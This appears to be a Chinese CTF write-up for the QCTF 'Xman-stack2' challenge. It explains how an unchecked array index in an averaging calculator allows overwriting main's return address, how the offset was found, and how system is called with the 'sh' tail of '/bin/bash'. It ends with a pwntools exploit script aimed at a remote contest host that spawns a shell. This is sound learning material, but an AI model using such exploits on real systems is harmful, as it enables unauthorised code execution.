0%

WriteUp:QCTF Xman-stack2

题目描述

QCTF 的 Xman-stack2 题目。

题目本体见这里

程序本身是一个用于算平均数的计算器,如图所示。

附上 checksec 结果

这里稍微要留意的就是没有开启 PIE 保护。

定位溢出点

直接拖进 IDA 一个 F5 大法好就能看到溢出点了

这里很明显 v13[v5] = v7 这里的 v5 和 v7 都没做任何检查,所以我们就有了任意地址写的能力。

同时观察到有一个叫作 hackhere 的函数

所以这道题的思路就是通过上面的任意地址写覆盖 main 函数的返回地址从而拿到 shell。

定位偏移

静态调试还是很难看出来要写的内存偏移的,所以这里我选择用 IDA 动态调试。

直接在 main 函数的 retn 语句上下断然后 exit 的时候就可以看到栈顶的返回地址了。

这里看到即将弹出的地址在栈的 0xFFA12B7C 处,然后我们再往上找数组的起始地址,可以看到

数组起始地址在 0xFFA12AF8,两者作差得 0x84,也就是说我们只要写入 v13[0x84] ~ v13[0x88] 就可以覆盖 main 函数的返回地址。

/bin/bash 没了

如果按照之前所说我们直接把 hackhere 的地址覆盖过去会发现提示这个

我当时还是挺懵逼的,不过好在这里的提示也有,那就是要弹 sh 而不是 bash。

构造字符串

那么怎么弹 sh 呢?

一开始我想的是在栈上写一个 /bin/sh 然后修改 system 调用之前的语句,但是我启动了两次发现栈的基址还是随机化的只能放弃。

最后经过提醒,发现 /bin/bash 这个字符串中本身就有 sh 这两个字符,所以我们只要覆盖 main 的返回地址为 _system 同时让栈顶指向这个字符串的第八个字符就好了,也就是调用 system(&"/bin/bash"[7]),这样问题就迎刃而解了。

Exploit

所以最终 Exploit 如下

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

r = remote("47.96.239.28", '2333')

r.sendline('1\n5\n3\n132\n80\n3\n133\n132\n3\n134\n4\n3\n135\n8')

r.sendline('3\n140\n135\n3\n141\n137\n3\n142\n4\n3\n143\n8')

r.sendline('5')

r.interactive()

后记

弹 sh 这个操作还是很有意思的。

另外我们还可以观察下这个环境

问了下作者说是用 dockerfile 自己构造的镜像,原来 docker 还有这种能力呀,下次试试吧。